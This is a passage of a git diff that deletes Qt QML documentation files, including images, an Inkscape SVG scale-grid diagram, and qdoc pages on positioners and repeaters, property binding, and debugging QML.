differdeleted file mode 100644 index b258ba9b..00000000 --- a/doc/src/declarative/pics/rect-color.png +++ /dev/null diff --git a/doc/src/declarative/pics/rect-smooth.png b/doc/src/declarative/pics/rect-smooth.png Binary files differdeleted file mode 100644 index 7ffd8aba..00000000 --- a/doc/src/declarative/pics/rect-smooth.png +++ /dev/null diff --git a/doc/src/declarative/pics/reflection_example.png b/doc/src/declarative/pics/reflection_example.png Binary files differdeleted file mode 100644 index fd9bb480..00000000 --- a/doc/src/declarative/pics/reflection_example.png +++ /dev/null diff --git a/doc/src/declarative/pics/repeater-index.png b/doc/src/declarative/pics/repeater-index.png Binary files differdeleted file mode 100644 index 3dbe6d05..00000000 --- a/doc/src/declarative/pics/repeater-index.png +++ /dev/null diff --git a/doc/src/declarative/pics/repeater-modeldata.png b/doc/src/declarative/pics/repeater-modeldata.png Binary files differdeleted file mode 100644 index 6d8df0d9..00000000 --- a/doc/src/declarative/pics/repeater-modeldata.png +++ /dev/null diff --git a/doc/src/declarative/pics/repeater-simple.png b/doc/src/declarative/pics/repeater-simple.png Binary files differdeleted file mode 100644 index 6da62951..00000000 --- a/doc/src/declarative/pics/repeater-simple.png +++ /dev/null diff --git a/doc/src/declarative/pics/repeater.png b/doc/src/declarative/pics/repeater.png Binary files differdeleted file mode 100644 index 973df27a..00000000 --- a/doc/src/declarative/pics/repeater.png +++ /dev/null diff --git a/doc/src/declarative/pics/scalegrid.svg b/doc/src/declarative/pics/scalegrid.svg deleted file mode 100644 index e386f3d7..00000000 --- a/doc/src/declarative/pics/scalegrid.svg +++ /dev/null @@ -1,183 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="744.09448819" - height="1052.3622047" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.44.1" - sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" - sodipodi:docname="scalegrid.svg" - inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/scalegrid.png" - inkscape:export-xdpi="189.65207" - inkscape:export-ydpi="189.65207"> - <defs - id="defs4" /> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - gridtolerance="50" - guidetolerance="10" - objecttolerance="10" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="3.2163554" - inkscape:cx="173.89302" - inkscape:cy="703.69531" - inkscape:document-units="px" - inkscape:current-layer="layer1" - showgrid="true" - inkscape:grid-bbox="false" - inkscape:guide-bbox="false" - inkscape:window-width="1409" - inkscape:window-height="1016" - inkscape:window-x="0" - inkscape:window-y="0" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <rect - style="opacity:1;fill:red;fill-opacity:1;stroke:none;stroke-width:3;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1" - id="rect1876" - width="45.104" - height="45.137001" - x="119.16868" - y="301.00308" - rx="5" - ry="5" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.3965202;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304035, 0.39652018;stroke-dashoffset:0;stroke-opacity:1" - d="M 157.02483,295.52571 C 157.02483,352.04784 157.02483,352.04784 157.02483,352.04784" - id="path2766" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1" - d="M 126.2,295.64284 C 126.2,352.16567 126.2,352.16567 126.2,352.16567" - id="path2768" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1" - d="M 169.05321,308.25967 C 112.53038,308.25967 112.53038,308.25967 112.53038,308.25967" - id="path2770" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1" - d="M 169.08024,339.77238 C 112.55741,339.77238 112.55741,339.77238 112.55741,339.77238" - id="path2772" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black" - x="115.2857" - y="303.60583" - id="text2774"><tspan - sodipodi:role="line" - id="tspan2776" - x="115.2857" - y="303.60583">1</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="137.19142" - y="303.60583" - id="text2782"><tspan - sodipodi:role="line" - id="tspan2784" - x="137.19142" - y="303.60583" - style="font-family:Arial Black">2</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black" - x="161.56842" - y="303.45935" - id="text2786"><tspan - sodipodi:role="line" - id="tspan2788" - x="161.56842" - y="303.45935">3</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="114.72613" - y="327.00702" - id="text2790"><tspan - sodipodi:role="line" - id="tspan2792" - x="114.72613" - y="327.00702" - style="font-family:Arial Black">4</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="137.12404" - y="326.86053" - id="text2794"><tspan - sodipodi:role="line" - id="tspan2796" - x="137.12404" - y="326.86053" - style="font-family:Arial Black">5</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="161.49518" - y="326.86053" - id="text2798"><tspan - sodipodi:role="line" - id="tspan2800" - x="161.49518" - y="326.86053" - style="font-family:Arial Black">6</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="114.70855" - y="351.25809" - id="text2802"><tspan - sodipodi:role="line" - id="tspan2804" - x="114.70855" - y="351.25809" - style="font-family:Arial Black">7</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="137.08595" - y="351.1116" - id="text2806"><tspan - sodipodi:role="line" - id="tspan2808" - x="137.08595" - y="351.1116" - style="font-family:Arial Black">8</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="161.58307" - y="351.1116" - id="text2810"><tspan - sodipodi:role="line" - id="tspan2812" - x="161.58307" - y="351.1116" - style="font-family:Arial Black">9</tspan></text> - </g> -</svg> diff --git a/doc/src/declarative/pics/shaderexample.png b/doc/src/declarative/pics/shaderexample.png Binary files differdeleted file mode 100644 index dbc7291a..00000000 --- a/doc/src/declarative/pics/shaderexample.png +++ /dev/null diff --git a/doc/src/declarative/pics/shadow_example.png b/doc/src/declarative/pics/shadow_example.png Binary files differdeleted file mode 100644 index 6214620f..00000000 --- a/doc/src/declarative/pics/shadow_example.png +++ /dev/null diff --git a/doc/src/declarative/pics/squish-transform.png b/doc/src/declarative/pics/squish-transform.png Binary files differdeleted file mode 100644 index 0eb848ed..00000000 --- a/doc/src/declarative/pics/squish-transform.png +++ /dev/null diff --git a/doc/src/declarative/pics/squish.png b/doc/src/declarative/pics/squish.png Binary files differdeleted file mode 100644 index 73bf2920..00000000 --- a/doc/src/declarative/pics/squish.png +++ /dev/null diff --git a/doc/src/declarative/pics/switch-example.gif b/doc/src/declarative/pics/switch-example.gif Binary files differdeleted file mode 100644 index 3d6582fe..00000000 --- a/doc/src/declarative/pics/switch-example.gif +++ /dev/null diff --git a/doc/src/declarative/pics/translate.png b/doc/src/declarative/pics/translate.png Binary files differdeleted file mode 100644 index baf58b0e..00000000 --- a/doc/src/declarative/pics/translate.png +++ /dev/null diff --git a/doc/src/declarative/pics/verticalpositioner_example.png b/doc/src/declarative/pics/verticalpositioner_example.png Binary files differdeleted file mode 100644 index 458dc7f4..00000000 --- a/doc/src/declarative/pics/verticalpositioner_example.png +++ /dev/null diff --git a/doc/src/declarative/pics/verticalpositioner_transition.gif b/doc/src/declarative/pics/verticalpositioner_transition.gif Binary files differdeleted file mode 100644 index ed61adb5..00000000 --- a/doc/src/declarative/pics/verticalpositioner_transition.gif +++ /dev/null diff --git a/doc/src/declarative/pics/visualitemmodel.png b/doc/src/declarative/pics/visualitemmodel.png Binary files differdeleted file mode 100644 index 5e6d1325..00000000 --- a/doc/src/declarative/pics/visualitemmodel.png +++ /dev/null diff --git a/doc/src/declarative/pics/webview.png b/doc/src/declarative/pics/webview.png Binary files differdeleted file mode 100644 index 0d245865..00000000 --- a/doc/src/declarative/pics/webview.png +++ /dev/null diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc deleted file mode 100644 index 4ea4aec5..00000000 --- a/doc/src/declarative/positioners.qdoc +++ /dev/null @@ -1,196 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-positioners.html -\ingroup qml-features -\previouspage Property Binding -\nextpage Anchor-based Layout in QML -\contentspage QML Features -\title Using QML Positioner and Repeater Items - - -Positioner items are container items that manage the positions and sizes of -items in a declarative user interface. Positioners behave in a similar way to -the \l{Widgets and Layouts}{layout managers} used with standard Qt widgets, -except that they are also containers in their own right. - -Positioners and repeaters make it easier to work with many items when they need -to be arranged in a regular layout. - -\section1 Positioners - -A set of standard positioners are provided in the basic set of Qt Quick -graphical elements: - -\list -\li \l{#Column}{Column} arranges its children in a column -\li \l{#Row}{Row} arranges its children in a row -\li \l{#Grid}{Grid} arranges its children in a grid -\li \l{#Flow}{Flow} arranges its children like words on a page -\endlist - -\section2 Column - -\div {class="float-right"} -\inlineimage qml-column.png -\enddiv - -\l Column items are used to vertically arrange items. The following example -uses a Column item to arrange three \l Rectangle items in an area defined -by an outer \l Item. The \l{Column::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -\clearfloat -\snippet doc/src/snippets/declarative/column/column.qml document - -Note that, since Column inherits directly from Item, any background color -must be added to a parent Rectangle, if desired. - -\section2 Row - -\div {class="float-right"} -\inlineimage qml-row.png -\enddiv - -\l Row items are used to horizontally arrange items. The following example -uses a Row item to arrange three rounded \l Rectangle items in an area defined -by an outer colored Rectangle. The \l{Row::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -We ensure that the parent Rectangle is large enough so that there is some space -left around the edges of the horizontally centered Row item. - -\clearfloat -\snippet doc/src/snippets/declarative/row.qml document - -\section2 Grid - -\div {class="float-right"} -\inlineimage qml-grid-spacing.png -\enddiv - -\l Grid items are used to place items in a grid or table arrangement. -The following example uses a Grid item to place four \l Rectangle items -in a 2-by-2 grid. As with the other positioners, the spacing between items -can be specified using the \l{Grid::spacing}{spacing} property. - -\clearfloat -\snippet doc/src/snippets/declarative/grid-spacing.qml document - -There is no difference between horizontal and vertical spacing inserted -between items, so any additional space must be added within the items -themselves. - -Any empty cells in the grid must be created by defining placeholder items -at the appropriate places in the Grid definition. - -\section2 Flow - -\div {class="float-right"} -\inlineimage qml-flow-text1.png -\inlineimage qml-flow-text2.png -\enddiv - -\l Flow items are used to place items like words on a page, with rows or -columns of non-overlapping items. - -Flow items arrange items in a similar way to \l Grid items, with items -arranged in lines along one axis (the minor axis), and lines of items -placed next to each other along another axis (the major axis). The -direction of flow, as well as the spacing between items, are controlled -by the \l{Flow::}{flow} and \l{Flow::}{spacing} properties. - -The following example shows a Flow item containing a number of \l Text -child items. These are arranged in a similar way to those shown in the -screenshots. - -\clearfloat -\snippet doc/src/snippets/declarative/flow.qml document - -The main differences between the Grid and Flow positioners are that items -inside a Flow will wrap when they run out of space on the minor axis, and -items on one line may not be aligned with items on another line if the -items do not have uniform sizes. As with Grid items, there is no independent -control of spacing between items and between lines of items. - -\section1 Repeaters - -\div {class="float-right"} -\inlineimage qml-repeater-grid-index.png -\enddiv - -Repeaters create items from a template for use with positioners, using data -from a model. Combining repeaters and positioners is an easy way to lay out -lots of items. A \l Repeater item is placed inside a positioner, and generates -items that the enclosing positioner arranges. - -Each Repeater creates a number of items by combining each element of data -from a model, specified using the \l{Repeater::model}{model} property, with -the template item, defined as a child item within the Repeater. -The total number of items is determined by the amount of data in the model. - -The following example shows a repeater used with a \l{#Grid}{Grid} item to -arrange a set of Rectangle items. The Repeater item creates a series of 24 -rectangles for the Grid item to position in a 5 by 5 arrangement. - -\clearfloat -\snippet doc/src/snippets/declarative/repeaters/repeater-grid-index.qml document - -The number of items created by a Repeater is held by its \l{Repeater::}{count} -property. It is not possible to set this property to determine the number of -items to be created. Instead, as in the above example, we use an integer as -the model. This is explained in the \l{QML Data Models#An Integer}{QML Data Models} -document. - -It is also possible to use a delegate as the template for the items created -by a Repeater. This is specified using the \l{Repeater::}{delegate} property. - -\section1 Using Transitions - -Transitions can be used to animate items that are added to, moved within, -or removed from a positioner. - -Transitions for adding items apply to items that are created as part of a -positioner, as well as those that are reparented to become children of a -positioner. -Transitions for removing items apply to items within a positioner that are -deleted, as well as those that are removed from a positioner and given new -parents in a document. - -Additionally, changing the opacity of items to zero will cause them to -disappear using the remove transition, and making the opacity non-zero will -cause them to appear using the add transition. - -\section1 Other Ways to Position Items - -There are several other ways to position items in a user interface. In addition -to the basic technique of specifying their coordinates directly, they can be -positioned relative to other items with \l{anchor-layout}{anchors}, or used -with \l{QML Data Models} such as -\l{QML Data Models#VisualItemModel}{VisualItemModel}. -*/ diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc deleted file mode 100644 index 652772fe..00000000 --- a/doc/src/declarative/propertybinding.qdoc +++ /dev/null @@ -1,324 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page propertybinding.html -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Basic Types}{Data Types} -\nextpage {Using QML Positioner and Repeater Items}{Component Layouts} -\title Property Binding - -\section1 Properties - -QML components have \e properties that can be read and modified by other objects. -In QML, properties serve many purposes but their main function is to bind to -values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements. - -The syntax for properties is: - -\tt{[default] property <type> <name>[: defaultValue]} - -Elements already possess useful properties but, to create custom properties, -precede the property name with the keyword \c property. - -\snippet doc/src/snippets/declarative/properties.qml parent begin -\snippet doc/src/snippets/declarative/properties.qml inherited properties -\snippet doc/src/snippets/declarative/properties.qml custom properties -\snippet doc/src/snippets/declarative/properties.qml parent end - -QML property rules coincide with many of JavaScript's property rules, for example, -property names must begin with a lowercase letter. -\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property -names. - -\section1 Property Binding - -Property binding is a declarative way of specifying the value of a property. Binding allows -a property's value to be expressed as an JavaScript expression that defines the value relative -to other property values or data accessible in the application. The property value is -automatically kept up to date if the other properties or data values change. - -Property bindings are created in QML using the colon "\c {:}" before the value: -\snippet doc/src/snippets/declarative/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be -used as a property binding. Bindings can access object properties, make function calls and even -use built-in JavaScript objects such as \c {Date} and \c {Math}. -\snippet doc/src/snippets/declarative/properties.qml JavaScript sample - -While syntactically bindings can be of arbitrary complexity, if a binding starts to become -overly complex - such as involving multiple lines, or imperative loops - it may be better -to refactor the component entirely, or at least factor the binding out into a separate -function. - -\keyword qml-javascript-assignment -\section1 Property Assignment versus Property Binding - -When working with both QML and JavaScript, it is important to differentiate between -QML property binding and JavaScript value assignment. In QML, a property -binding is created using the colon "\c {:}". -\snippet doc/src/snippets/declarative/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -Assigning a property value (using the equals sign "\c {=}") does not create a -property binding. -\snippet doc/src/snippets/declarative/properties.qml property assignment - -Instead of creating a property binding, the assignment simply sets the \c Rectangle -\c width value to a number when the \c Component.onCompleted code is invoked. - -Assigning a value to a property that is already bound will remove the previous binding. -A property can only have one value at a time (a list of property is one value), -and if any code explicitly re-sets this value, the property binding is removed. - -There is no way to create a property binding directly from imperative JavaScript code, -although it is possible to use the \l {Using the Binding Element}{Binding} element. - -\section1 Types of Properties - -Properties may bind to different types, but they are are \e type-safe. That is, -properties only allow you to assign a value that matches the property type. For -example, if a property is a real, and if you try to assign a string to it you -will get an error. - -\badcode -property real volume: "four" //generates an error -\endcode - -Certain properties bind to more complex types such as other elements and objects. - -\keyword qml-basic-property-types -\section2 Basic Property Types - -Basic types such as \l int, \l real, and other Qt structures may be bound to -properties. For a list of types, visit the \l {QML Basic Types} document. - -\keyword qml-id-property -\section2 The \c id Property - -Each QML object may be given a special unique property called an \c id. -No other object within the same QML component (see \l{QML Documents}) can have -the same \c id value. QML objects may then access an object using the \c id -property. -\snippet doc/src/snippets/declarative/properties.qml id property -A component may readily access its parent's properties by using the \c parent -property. - -Note that an \c id must begin with a lower-case letter or an underscore. The -\c id cannot contain characters other than letters, numbers, underscores, and -\l {JavaScript Reserved Words}{JavaScript reserved words}. - -\section2 Elements and Objects as Property Values - -Many properties bind to objects. For example, the \l Item element has a -\c states property that can bind to \l State elements. This type of property -binding allows elements to carry additional non-children elements. \c Item's -\c transitions property behaves in a similar way; it can bind to \l Transition -elements. - -Care must be taken when referring to the parent of an object property binding. -Elements and components that are bound to properties are not necessarily set -as children of the properties' component. - -\snippet doc/src/snippets/declarative/properties.qml object binding -The code snippet has a \l Gradient element that attempts to print its parent's -\c width value. However, the \c Gradient element is bound to the \c gradient -property, not the \c children property of the \c Rectangle. As a result, the -\c Gradient does not have the \c Rectangle as its parent. Printing the value -of \c{parent.width} generates an error. Printing the \c Rectangle object's -first child's \c name will print \c {childrectangle} because the second -\c Rectangle is bound to the \c children property. - -For more information about the \c children property, please read the -\l {Default Properties} section. - -\keyword attached-properties -\section2 Attached Properties - -Certain objects provide additional properties by \e attaching properties to other -objects. For example, the \l Keys element have properties that can \e attach to other QML -objects to provide keyboard handling. - -\snippet doc/src/snippets/declarative/properties.qml list attached property -The element \l ListView provides the delegate, \c listdelegate, the property -\c isCurrentItem as an attached property. The \c ListView.isCurrentItem -\e{attached property} provides highlight information to the delegate. -Effectively, the \l ListView element attaches the \c ListView.isCurrentItem -property to each delegate it creates. - -\keyword attached-signalhandlers -\section2 Attached Signal Handlers - -\e {Attached signal handlers} are similar -to \l{Attached Properties}{attached properties} in that they attach to objects -to provide additional functionality to objects. Two prominent elements, -\l Component and \l Keys element provide -\l{QML Signal and Handler Event System}{signal handlers} as attached signal -handlers. -\snippet doc/src/snippets/declarative/properties.qml attached signal handler - -Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in Qt Quick 1} -articles for more information. - -\section2 List properties - -Some properties may accept a binding to a list property, where more than one -component can bind to the property. List properties allow multiple -\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a -single property. -\snippet doc/src/snippets/declarative/properties.qml list property -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you may omit the square brackets. -\snippet doc/src/snippets/declarative/properties.qml single property - -To access the list, use the \c index property. -\snippet doc/src/snippets/declarative/properties.qml print list property -The snippet code simply prints the name of the first state, \c FETCH. - - See the \l{list}{list type} documentation -for more details about list properties and their available operations. - -\keyword qml-grouped-properties -\section2 Grouped Properties - -In some cases properties form a logical group and use either the \e dot notation -or \e group notation. - -Grouped properties may be written both ways: -\snippet doc/src/snippets/declarative/properties.qml grouped properties - -In the element documentation grouped properties are shown using the dot notation. - -\section2 Property Aliases - -Unlike a property definition, which allocates a new, unique storage space for -the property, a property alias connects the newly declared property, called the -\e{aliasing property} as a direct reference to an existing property, the -\e{aliased property}. Read or write operations on the aliasing property results -in a read or write operations on the aliased property, respectively. - -A property alias declaration is similar to an ordinary property definition: - -\tt{[default] property alias <name>: <alias reference>} - -As the aliasing property has the same type as the aliased property, an explicit -type is omitted, and the special \c alias keyword is before the property name. -Instead of a default value, a property alias has a compulsory alias reference. -Accessing the aliasing property is similar to accessing a regular property. In -addition, the optional \c default keyword indicates that the aliasing property -is a \l{Default Properties}{default property}. - -\snippet doc/src/snippets/declarative/Button.qml property alias -When importing the component as a \c Button, the \c buttonlabel is directly -accessible through the \c label property. -\snippet doc/src/snippets/declarative/properties.qml alias usage -In addition, the \c id property may also be aliased and referred outside the -component. -\snippet doc/src/snippets/declarative/Button.qml parent begin -\snippet doc/src/snippets/declarative/Button.qml id alias -\snippet doc/src/snippets/declarative/Button.qml parent end -The \c imagebutton component has the ability to modify the child \l Image object - and its properties. -\snippet doc/src/snippets/declarative/properties.qml image alias - -Using aliases, properties may be exposed to the -\l{qml-top-level-component}{top level component}. Exposing properties to the -top-level component allows components to have interfaces similar to Qt widgets. - -\section3 Considerations for property aliases - -Aliases are only activated once the component -\l{Component::onCompleted}{completes} its initialization. An error is generated -when an uninitialized alias is referenced. Likewise, aliasing an aliasing -property will also result in an error. - -\snippet doc/src/snippets/declarative/properties.qml alias complete - -When importing the component, however, aliasing properties appear as regular Qt -properties and consequently can be used in alias references. - -It is possible for an aliasing property to have the same name as an existing -property, effectively overwriting the existing property. For example, -the following component has a \c color alias property, named the same as the built-in -\l {Rectangle::color} property: - -\snippet doc/src/snippets/declarative/properties.qml alias overwrite - -Any object that use this component and refer to its \c color property will be -referring to the alias rather than the ordinary \l {Rectangle::color} property. -Internally, however, the \c coloredrectangle can correctly set its \c color -property and refer to the actual defined property rather than the alias. - -The \l{declarative/ui-components/tabwidget}{TabWidget} example uses -aliases to reassign children to the \l ListView, creating a tab effect. - -\keyword default-properties -\section2 Default Properties - -When imported, QML components will bind declared children to their designated -\e{default properties}. The optional \c default attribute specifies a property -as the \e {default property}. For example, the State element's default property -is its \l{State::changes}{changes} property. \l PropertyChanges elements -may simply be placed as the \c{State}'s children and they will be bound to the -\c changes property. -\snippet doc/src/snippets/declarative/properties.qml state default - -Similarly, the \l Item element's default property is its -\l{Item::data}{data} property. The \c data property manages Item's -\c children and \c resources properties. This way, different data types may be -placed as direct children of the \c Item. -\snippet doc/src/snippets/declarative/properties.qml default property - -Reassigning a default property is useful when a component is reused. For -example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses -the \c default attribute to reassign children to the \l ListView, creating -a tab effect. - -\section1 Using the Binding Element - -In some advanced cases, it may be necessary to create bindings explicitly with -the\l Binding element. - -For example, to bind a property exposed from C++ (\c system.brightness) to a -value written in QML (\c slider.value), you could use the \l Binding element as -follows: -\snippet doc/src/snippets/declarative/properties.qml binding element - -\section1 Changing Property Values in States - -The \l PropertyChanges element is for setting property bindings within a -\l State element to set a property binding. - -\snippet doc/src/snippets/declarative/properties.qml PropertyChanges element -The rectangle's \c color property will bind to the \c warning component's -\c color property when its \c state is set to the \c WARNING state. -*/ diff --git a/doc/src/declarative/qdeclarativedebugging.qdoc b/doc/src/declarative/qdeclarativedebugging.qdoc deleted file mode 100644 index 1c6a09a9..00000000 --- a/doc/src/declarative/qdeclarativedebugging.qdoc +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativedebugging.html -\title Debugging QML - -\section1 Logging - -\c console.log can be used to print debugging information to the console. For example: - -\qml -Rectangle { - width: 200; height: 200 - MouseArea { - anchors.fill: parent - onClicked: console.log("clicked") - } -} -\endqml - -\section1 Debugging Transitions - -When a transition doesn't look quite right, it can be helpful to view it in slow -motion to see what is happening more clearly. This functionality is supported -in the \l {QML Viewer} tool: to enable this, -click on the "Debugging" menu, then "Slow Down Animations". - - -\section1 Debugging module imports - -The \c QML_IMPORT_TRACE environment variable can be set to enable debug output -from QML's import loading mechanisms. - -For example, for a simple QML file like this: - -\qml -import QtQuick 1.0 - -Rectangle { width: 100; height: 100 } -\endqml - -If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer} -(or your QML C++ application), you will see output similar to this: - -\code -QDeclarativeImportDatabase::addImportPath "/qt-sdk/imports" -QDeclarativeImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS" -QDeclarativeImportDatabase::addToImport 0x106237370 "." -1.-1 File as "" -QDeclarativeImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as "" -QDeclarativeImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle" -\endcode - - -\section1 Debugging with Qt Creator - -\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in -support for QML debugging. QML projects and standalone C++ applications that -utilize QML can be debugged on desktops as well as on remote devices. -For more information, see the Qt Creator Manual. - -*/ diff --git a/doc/src/declarative/qdeclarativedocument.qdoc b/doc/src/declarative/qdeclarativedocument.qdoc deleted file mode 100644 index 7d665b06..00000000 --- a/doc/src/declarative/qdeclarativedocument.qdoc +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free 